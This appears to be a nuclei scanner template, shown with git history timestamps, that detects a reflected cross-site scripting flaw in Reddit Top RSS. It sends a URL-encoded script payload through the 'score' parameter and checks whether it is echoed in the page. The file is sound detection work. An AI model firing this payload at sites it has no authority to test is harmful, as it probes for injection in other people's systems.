nuclei-templates/http/vulnerabilities/other/reddittop-rss-xss.yaml

40 lines
951 B
YAML
Raw Normal View History

2022-08-12 10:25:22 +00:00
id: reddittop-rss-xss
2022-08-12 07:09:23 +00:00
info:
name: Reddit Top RSS - Cross-Site Scripting
2022-08-12 07:09:23 +00:00
author: arafatansari
severity: high
2022-08-12 07:09:23 +00:00
description: |
Reddit Top RSS contains a cross-site scripting vulnerability via the /?subreddit=news&score= parameter.
2022-08-12 07:09:23 +00:00
reference:
- https://github.com/johnwarne/reddit-top-rss/issues/12
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
cvss-score: 7.2
cwe-id: CWE-79
2022-08-12 10:25:22 +00:00
metadata:
max-request: 1
2022-08-12 10:25:22 +00:00
verified: true
tags: reddit,rss,xss
2022-08-12 07:09:23 +00:00
http:
2022-08-12 07:09:23 +00:00
- method: GET
path:
2022-08-12 10:25:22 +00:00
- '{{BaseURL}}/?subreddit=news&score=2134%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
2022-08-12 07:09:23 +00:00
matchers-condition: and
matchers:
2022-08-12 10:25:22 +00:00
- type: word
part: body
words:
- 'value="2134"><script>alert(document.domain)</script>" min="0"'
2022-08-12 07:09:23 +00:00
- type: word
2022-08-12 10:25:22 +00:00
part: header
2022-08-12 07:09:23 +00:00
words:
2022-08-12 10:25:22 +00:00
- text/html
- type: status
status:
- 200